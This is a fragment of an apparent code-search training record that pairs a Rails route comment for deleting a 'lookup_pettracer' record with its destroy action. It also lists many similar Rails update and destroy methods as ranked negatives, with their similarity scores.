"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @tracer.update(tracer_params)\n format.html { redirect_to @tracer, notice: \"Tracer was successfully updated.\" }\n format.json { render :show, status: :ok, location: @tracer }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @tracer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end",
"def set_pet\n @pet = Pet.find_by!(id: params[:pet_id])\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to @pet, notice: I18n.t('Pet card was successfully updated') }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @peep = Peep.find(params[:id])\n\n respond_to do |format|\n if @peep.update_attributes(params[:peep])\n format.html { redirect_to(@peep, :notice => 'Peep was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @peep.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @lookup_source = LookupSource.find(params[:id])\n\n respond_to do |format|\n if @lookup_source.update(params[:lookup_source], :without_protection => true)\n format.html { redirect_to(@lookup_source, :notice => 'Lookup source was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lookup_source.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @species = Species.find(params[:id])\n @species.update_attributes(params[:species])\n \n respond_with(@species, :location => admin_species_path(@species))\n end",
"def update\n @pet_status = PetStatus.find(params[:id])\n\n\n if @pet_status.update_attributes(params[:pet_status])\n redirect_to action: \"index\", notice: 'El name se ha actualizado.'\n \n else\n render action: \"edit\"\n \n end\n \n end",
"def update\n respond_to do |format|\n if @adopted_pet.update(adopted_pet_params)\n format.html { redirect_to @adopted_pet, notice: 'Adopted pet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @adopted_pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @adopted_pet.update(adopted_pet_params)\n format.html { redirect_to @adopted_pet, notice: 'Adopted pet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @adopted_pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pocket = Pocket.find_pocket(params[:id])\n\n respond_to do |format|\n if @pocket.update_attributes(params[:pocket])\n flash[:notice] = 'Pocket was successfully updated.'\n format.html { redirect_to(@pocket) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pocket.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @pokeparty = Pokeparty.find(params[:id])\n\n respond_to do |format|\n if @pokeparty.update_attributes(params[:pokeparty])\n format.html { redirect_to @pokeparty, notice: 'Pokeparty was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pokeparty.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @old_point_tag = OldPointTag.find(params[:id])\n\n respond_to do |format|\n if @old_point_tag.update_attributes(params[:old_point_tag])\n format.html { redirect_to(@old_point_tag, :notice => 'Old point tag was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @old_point_tag.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @pokemon = Pokemon.find(params[:id])\n\n respond_to do |format|\n if @pokemon.update_attributes(params[:pokemon])\n flash[:notice] = 'Pokemon was successfully updated.'\n format.html { redirect_to(@pokemon) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pokemon.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n resource_path = \"/projects/#{project_id}/people/#{id}\"\n Request.put(resource_path, self.to_xml('person'))\n end",
"def update\n @prayer = Prayer.find(params[:id])\n\n respond_to do |format|\n if @prayer.update_attributes(params[:prayer])\n format.html { redirect_to @prayer, notice: 'Prayer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @prayer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @prayer = Prayer.find(params[:id])\n\n respond_to do |format|\n if @prayer.update_attributes(params[:prayer])\n format.html { redirect_to @prayer, notice: 'Prayer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @prayer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @prayer = Prayer.find(params[:id])\n\n respond_to do |format|\n if @prayer.update_attributes(params[:prayer])\n format.html { redirect_to @prayer, notice: 'Prayer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @prayer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @prayer_request = PrayerRequest.find(params[:id])\n\n respond_to do |format|\n if @prayer_request.update_attributes(params[:prayer_request])\n format.html { redirect_to @prayer_request, notice: 'Prayer request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @prayer_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sifter = Sifter.find(params[:id])\n\n respond_to do |format|\n if @sifter.update_attributes(params[:sifter])\n flash[:notice] = 'Sifter was successfully updated.'\n format.html { redirect_to(@sifter) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sifter.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @partner_person = PartnerPerson.find(params[:id])\n @title = \"association partner <--> people\"\n\n respond_to do |format|\n if @partner_person.update_attributes(params[:partner_person])\n format.html { redirect_to(@partner_person, :notice => 'PartnerPerson was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @partner_person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @poopstation = Poopstation.find(params[:id])\n\n respond_to do |format|\n if @poopstation.locations.create(:name => params[:location], :city => params[:city], :state => params[:state])\n format.html { redirect_to @poopstation, notice: 'Spanks!' }\n format.json { head :no_content }\n format.mobile { redirect_to @poopstation, notice: 'Spanks!' }\n else\n format.html { render action: \"edit\" }\n format.mobile { render action: \"edit\" }\n format.json { render json: @poopstation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @counterparty = Counterparty.find(params[:id])\n\n respond_to do |format|\n if @counterparty.update_attributes(params[:counterparty])\n flash[:notice] = 'Counterparty was successfully updated.'\n format.html { redirect_to(@counterparty) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @counterparty.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @traceroute.update(traceroute_params)\n format.html { redirect_to @traceroute, notice: 'Traceroute was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @traceroute.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @traceroute.update(traceroute_params)\n format.html { redirect_to @traceroute, notice: 'Traceroute was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @traceroute.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def set_pet_hotel\n @pet_hotel = PetHotel.find(params[:id])\n end",
"def update\n @snippit = Snippit.find(params[:id])\n\n respond_to do |format|\n if @snippit.update_attributes(params[:snippit])\n format.html { redirect_to(@snippit, :notice => 'Snippit was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @snippit.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @pumper = Pumper.find(params[:id])\n\n respond_to do |format|\n if @pumper.update_attributes(params[:pumper])\n format.html { redirect_to(incident_timesheet_path, :notice => 'Pumper was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pumper.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def replace\n @replace ||= Verb.new do |verb|\n verb.entity :trip, :air, :lodging, :car, :profile, :rail, \\\n :transport, :cruise, :restaurant, :activity, :note, :map, \\\n :directions \\\n do |entity, id, obj|\n do_request('replace', entity, nil, {'id' => id, 'xml'=> obj_to_xml(obj)})\n end\n end\n end",
"def update\n @spit = Spit.find(params[:id])\n\n respond_to do |format|\n if @spit.update_attributes(params[:spit])\n format.html { redirect_to(@spit, :notice => 'Spit was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @spit.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n name = Server.find(params[:id]).name\n n = Neography::Node.find('servers', 'name', name)\n n.name = server_params[:name]\n n.add_to_index('servers', 'name', server_params[:name]) #TODO: is this necessary?\n if @server.update(server_params)\n format.html { redirect_to @server, notice: 'Server was successfully updated.' }\n format.json { render :show, status: :ok, location: @server }\n else\n format.html { render :edit }\n format.json { render json: @server.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @volunteer = Volunteer.find(params[:id])\n\n respond_to do |format|\n if @volunteer.update_attributes(params[:volunteer])\n flash[:notice] = 'Volunteer was successfully updated.'\n format.html { redirect_to(@volunteer) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @volunteer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @volunteer = Volunteer.find(params[:id])\n\n respond_to do |format|\n if @volunteer.update_attributes(params[:volunteer])\n flash[:notice] = 'Volunteer was successfully updated.'\n format.html { redirect_to(@volunteer) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @volunteer.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6480511",
"0.60778826",
"0.5935224",
"0.57746637",
"0.57746637",
"0.5695609",
"0.5695609",
"0.55353755",
"0.55346435",
"0.55152076",
"0.55112356",
"0.5393598",
"0.5340134",
"0.5339657",
"0.53219825",
"0.53199166",
"0.52830756",
"0.52445287",
"0.5166773",
"0.5159707",
"0.51514035",
"0.5132779",
"0.5117414",
"0.51039296",
"0.5100034",
"0.5093759",
"0.5093573",
"0.5091477",
"0.5088234",
"0.5058361",
"0.5058361",
"0.50446963",
"0.5036975",
"0.5024411",
"0.50225407",
"0.5016762",
"0.5016762",
"0.5016762",
"0.5016762",
"0.5016762",
"0.5016762",
"0.5015942",
"0.49982744",
"0.49861568",
"0.49832767",
"0.49813008",
"0.497803",
"0.497803",
"0.497803",
"0.497803",
"0.497803",
"0.497803",
"0.497803",
"0.497803",
"0.497803",
"0.497803",
"0.497803",
"0.497803",
"0.497803",
"0.497803",
"0.497803",
"0.497803",
"0.497803",
"0.497803",
"0.497803",
"0.497803",
"0.49646744",
"0.496373",
"0.4962134",
"0.49618053",
"0.49571145",
"0.49562058",
"0.49459192",
"0.49413443",
"0.49302718",
"0.49302718",
"0.4929617",
"0.49067405",
"0.49035227",
"0.48921862",
"0.48916665",
"0.48904938",
"0.48904938",
"0.48904938",
"0.48621193",
"0.48537543",
"0.4836902",
"0.48363674",
"0.48158696",
"0.48143786",
"0.4814299",
"0.4798038",
"0.47946388",
"0.47932243",
"0.47853452",
"0.47806358",
"0.4774178",
"0.47695076",
"0.47667876",
"0.47667876"
] |
0.7107689
|
0
|
DELETE /lookup_pettracers/1 DELETE /lookup_pettracers/1.xml
|
def destroy
@lookup_pettracer = LookupPettracer.find(params[:id])
@lookup_pettracer.destroy
respond_to do |format|
format.html { redirect_to(lookup_pettracers_url) }
format.xml { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @lookup_set = LookupSet.find(params[:id])\n @lookup_set.destroy\n\n respond_to do |format|\n format.html { redirect_to(lookup_sets_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @pdig = Pdig.find(params[:id])\n @pdig.destroy\n\n respond_to do |format|\n format.html { redirect_to(pdigs_url) }\n format.xml { head :ok }\n end\n end",
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def destroy\n @pet = Pet.find(params[:id])\n @pet.destroy\n\n respond_to do |format|\n format.html { redirect_to(pets_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def soccer_delete\n base_delete(params, \"Soccer\")\n end",
"def destroy\n @prd_etc = PrdEtc.find(params[:id])\n @prd_etc.destroy\n\n respond_to do |format|\n format.html { redirect_to(prd_etcs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lookup_rad = LookupRad.find(params[:id])\n @lookup_rad.destroy\n\n respond_to do |format|\n format.html { redirect_to(lookup_rads_url) }\n format.xml { head :ok }\n end\n end",
"def pet_delete(pet)\n @db.delete(\"pets\", pet[\"id\"])\n end",
"def destroy\n @lookup_source = LookupSource.find(params[:id])\n @lookup_source.destroy\n\n respond_to do |format|\n format.html { redirect_to(lookup_sources_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @probe = Probe.find(params[:id])\n @probe.destroy\n\n respond_to do |format|\n format.html { redirect_to(probes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cattle_id = CattleId.find(params[:id])\n @cattle_id.destroy\n\n respond_to do |format|\n format.html { redirect_to(cattle_ids_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @storeloc = Storeloc.find(params[:id])\n @storeloc.itemlocs.each do |loc|\n loc.destroy\n end\n\n @storeloc.destroy\n\n respond_to do |format|\n format.html { redirect_to(storelocs_url) }\n format.xml { head :ok }\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @dogpark = Dogpark.find(params[:id])\n @dogpark.destroy\n\n respond_to do |format|\n format.html { redirect_to(dogparks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lookup_drugunit = LookupDrugunit.find(params[:id])\n @lookup_drugunit.destroy\n\n respond_to do |format|\n format.html { redirect_to(lookup_drugunits_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @location_tag = LocationTag.find(params[:id])\n @location_tag.destroy\n\n respond_to do |format|\n format.html { redirect_to(location_tags_url(:farm_id => @farm.id)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @detailed_retrofit = DetailedRetrofit.find(params[:id])\n @detailed_retrofit.destroy\n\n respond_to do |format|\n format.html { redirect_to(detailed_retrofits_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @old_point_tag = OldPointTag.find(params[:id])\n @old_point_tag.destroy\n\n respond_to do |format|\n format.html { redirect_to(old_point_tags_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @peep = Peep.find(params[:id])\n @peep.destroy\n\n respond_to do |format|\n format.html { redirect_to(peeps_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @people = People.find(params[:id])\n @people.destroy\n\n respond_to do |format|\n format.html { redirect_to(peoples_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @hookup = Hookup.find(params[:id])\n @hookup.destroy\n\n respond_to do |format|\n format.html { redirect_to(hookups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lookup = Lookup.find(params[:id])\n @lookup.destroy\n\n respond_to do |format|\n format.html { redirect_to lookups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @docent = Docent.find(params[:id])\n @docent.destroy\n\n respond_to do |format|\n format.html { redirect_to(docents_url) }\n format.xml { head :ok }\n end\n end",
"def delete(id:)\n id_check(:id, id)\n\n cf_delete(path: \"/organizations/#{org_id}/railguns/#{id}\")\n end",
"def destroy\n @discovery = Discovery.find(params[:id])\n @discovery.destroy\n\n respond_to do |format|\n format.html { redirect_to(discoveries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lookup_bvmtpercentile = LookupBvmtpercentile.find(params[:id])\n @lookup_bvmtpercentile.destroy\n\n respond_to do |format|\n format.html { redirect_to(lookup_bvmtpercentiles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @update = Update.find_by_permalink(params[:id])\n @update.destroy\n\n respond_to do |format|\n format.html { redirect_to(updates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @occurence = Occurence.find(params[:id])\n @occurence.destroy\n\n respond_to do |format|\n format.html { redirect_to(occurences_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @geoname = Geoname.find(params[:id])\n @geoname.destroy\n\n respond_to do |format|\n format.html { redirect_to(geonames_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @gstr_advance_receipts = GstrAdvanceReceipt.find_by_id_and_company_id(params[:id], @company.id)\n @gstr_advance_receipts.delete_gstr_one_entry \n @gstr_advance_receipts.delete\n respond_to do |format|\n @gstr_advance_receipts.register_delete_action(request.remote_ip, @current_user, 'deleted')\n format.html { redirect_to(gstr_advance_receipts_url, :notice =>\"Gstr Advance Receipt has been succesfully deleted\") }\n format.xml {head :ok}\n \n end\n end",
"def destroy()\n urn_check()\n @sparql.delete([ @urn, :p, :o ])\n @sparql.delete([ :s, :p, @urn ])\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def delete\n blacklight_items.each do |r|\n solr.delete_by_id r[\"id\"]\n solr.commit\n end\n end",
"def destroy\n @drop_off_location = DropOffLocation.find(params[:id])\n @drop_off_location.destroy\n\n respond_to do |format|\n format.html { redirect_to(drop_off_locations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @entry = @resource_finder.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to_resources }\n format.xml { head :ok }\n end\n end",
"def destroy\n @web_passenger = WebPassenger.find(params[:id])\n @web_passenger.web_locations.each do |web_location|\n web_location.destroy\n end\n @web_passenger.destroy\n\n respond_to do |format|\n format.html { redirect_to(web_passengers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lablocational = Lablocational.find(params[:id])\n @lablocational.destroy\n\n respond_to do |format|\n format.html { redirect_to(lablocationals_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lookup_scantask = LookupScantask.find(params[:id])\n @lookup_scantask.destroy\n\n respond_to do |format|\n format.html { redirect_to(lookup_scantasks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @pig = Pig.find(params[:id])\n @pig.destroy\n\n respond_to do |format|\n format.html { redirect_to(pigs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n lookup_label = get_type_label(@lookup.lookup_type)\n @lookup.destroy\n respond_to do |format|\n format.html { redirect_to lookups_path(:lookup_type => lookup_label), notice: \"#{lookup_label} se ha eliminado correctamente\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pfs_consultation = PfsConsultation.find(params[:id])\n @pfs_consultation.destroy\n\n respond_to do |format|\n format.html { redirect_to(pfs_consultations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @repair_type = RepairType.find(params[:id])\n @repair_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(repair_types_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @podval = Podval.find(params[:id])\n @podval.destroy\n\n respond_to do |format|\n format.html { redirect_to(podvals_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @intelligence = Intelligence.find(params[:id])\n @intelligence.destroy\n\n respond_to do |format|\n format.html { redirect_to(intelligences_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @pacient = Pacient.find(params[:id])\n @pacient.destroy\n\n respond_to do |format|\n format.html { redirect_to(pacients_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @pft = Pft.find(params[:id])\n @pft.priors.destroy\n @pft.destroy\n\n respond_to do |format|\n format.html { redirect_to(pfts_url) }\n format.xml { head :ok }\n format.csv { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @revendedor = Revendedor.find(params[:id])\n @revendedor.destroy\n\n respond_to do |format|\n format.html { redirect_to(revendedors_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lookup_truthtable = LookupTruthtable.find(params[:id])\n @lookup_truthtable.destroy\n\n respond_to do |format|\n format.html { redirect_to(lookup_truthtables_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @location = Location.find(params[:id])\n company_id = @location[:company_id]\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(\"/companies/locations/\" + company_id.to_s) }\n format.xml { head :ok }\n end\n end",
"def destroy\n logger.debug 'destroy_some interesting information'\n @comdty = Comdty.find(params[:id])\n @comdty.destroy\n\n respond_to do |format|\n format.html { redirect_to(comdties_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @locations_locationset = LocationsLocationset.find(params[:id])\n @locations_locationset.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_locationsets_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @counterparty = Counterparty.find(params[:id])\n @counterparty.destroy\n\n respond_to do |format|\n format.html { redirect_to(counterparties_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lr40 = Lr40.find(params[:id])\n @lr40.destroy\n\n respond_to do |format|\n format.html { redirect_to(lr40s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @plantilla = Plantilla.find(params[:id])\n @plantilla.destroy\n\n respond_to do |format|\n format.html { redirect_to(plantillas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @person = Person.find(params[:id])\n pedigree = @person.pedigree\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to(pedigree_url(pedigree)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @chef_mapping = ChefMapping.find(params[:id])\n @chef_mapping.destroy\n\n respond_to do |format|\n format.html { redirect_to chef_mappings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @child_dupa2 = ChildDupa2.find(params[:id])\n @child_dupa2.destroy\n\n respond_to do |format|\n format.html { redirect_to(child_dupa2s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @req_breakdown = ReqBreakdown.find(params[:id])\n @req_breakdown.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_req_breakdowns_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @paciente = Paciente.find(params[:id])\n @paciente.destroy\n respond_to do |format|\n format.html { redirect_to(pacientes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ipsearch = Ipsearch.find(params[:id])\n @ipsearch.destroy\n\n respond_to do |format|\n format.html { redirect_to(ipsearches_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @absence_request = AbsenceRequest.find(params[:id])\n @absence_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(absence_requests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @substitute = Substitute.find(params[:id])\n @substitute.destroy\n\n respond_to do |format|\n format.html { redirect_to(team_path(@substitute.team_id)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @patrimonio = Patrimonio.find(params[:id])\n @patrimonio.destroy\n\n respond_to do |format|\n format.html { redirect_to(patrimonios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @fleet = Fleet.find params[:fleet_id]\n @vehicle = @fleet.vehicles.find params[:vehicle_id]\n @vehicle_repair = @vehicle.vehicle_repairs.find(params[:id])\n @vehicle_repair.destroy\n\n respond_to do |format|\n format.html { redirect_to(fleet_vehicle_vehicle_repairs_path(@fleet, @vehicle), :notice => 'Vehicle repair was successfully created.') }\n format.xml { head :ok }\n end\n end",
"def destroy\n @patient_encounter = PatientEncounter.find(params[:id])\n @patient_encounter.destroy\n\n respond_to do |format|\n format.html { redirect_to(patient_encounters_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @newspapper = Newspapper.find(params[:id])\n @newspapper.destroy\n\n respond_to do |format|\n format.html { redirect_to(newspappers_url) }\n format.xml { head :ok }\n end\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def destroy\n @matchup = Matchup.find(params[:id])\n @matchup.destroy\n\n respond_to do |format|\n format.html { redirect_to(matchups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @pneighbour = Pneighbour.find(params[:id])\n @pneighbour.destroy\n\n respond_to do |format|\n format.html { redirect_to(pneighbours_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @prd_threshold = PrdThreshold.find(params[:id])\n @prd_threshold.destroy\n\n respond_to do |format|\n format.html { redirect_to(prd_thresholds_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @kontak = Kontak.find(params[:id])\n @kontak.destroy\n\n respond_to do |format|\n format.html { redirect_to(kontaks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @reqinfo = Reqinfo.find(params[:id])\n @reqinfo.destroy\n\n respond_to do |format|\n format.html { redirect_to(reqinfos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @openmapa = Openmapa.find(params[:id])\n @openmapa.destroy\n\n respond_to do |format|\n format.html { redirect_to(openmapas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @test_plant = TestPlant.find(params[:id])\n @test_plant.destroy\n\n respond_to do |format|\n format.html { redirect_to(test_plants_url) }\n format.xml { head :ok }\n end\n end",
"def delete!\n Recliner.delete(uri)\n end",
"def destroy\n @ingredience = Ingredience.find(params[:id])\n @ingredience.destroy\n\n respond_to do |format|\n format.html { redirect_to(ingrediences_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @gene_ontology = GeneOntology.find(params[:id])\n @gene_ontology.destroy\n\n respond_to do |format|\n format.html { redirect_to(gene_ontologies_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @request = PrayerRequest.find(params[:id])\n @prayers = Prayer.where(\"prayer_request_id = ?\", @request.id)\n @prayers.each do |prayer| \n prayer.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to prayers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def destroy\n @puppy = Puppy.find(params[:id])\n @puppy.destroy\n\n respond_to do |format|\n format.html { redirect_to(puppies_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @partyrelationship = Partyrelationship.find(params[:id])\n @partyrelationship.destroy\n\n respond_to do |format|\n format.html { redirect_to(partyrelationships_url) }\n format.xml { head :ok }\n end\n end",
"def destroy_rest\n @entry_instrument = EntryInstrument.find(params[:id])\n @entry_instrument.destroy\n\n respond_to do |format|\n format.html { redirect_to(entry_instruments_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @incidenttype = Incidenttype.find(params[:id])\n @incidenttype.destroy\n\n respond_to do |format|\n format.html { redirect_to(incidenttypes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @retain_node_selector = RetainNodeSelector.find(params[:id])\n @retain_node_selector.destroy\n\n respond_to do |format|\n format.html { redirect_to(retain_node_selectors_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n chef_server_rest.delete(\"nodes/#{name}\")\n end",
"def destroy\n @feria2010observacion = Feria2010observacion.find(params[:id])\n @feria2010observacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(feria2010observaciones_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @location = $User.get_location(params[:id])\n @location.kill\n GlobalData.reload(:locations)\n respond_to do |format|\n format.html { redirect_to('/locations') }\n format.xml { head :ok }\n end\n end",
"def destroy\n @Roc = Roc.find(params[:id])\n @Roc.destroy\n\n respond_to do |format|\n format.html { redirect_to(Rocs_url) }\n format.xml { head :ok }\n end\n end",
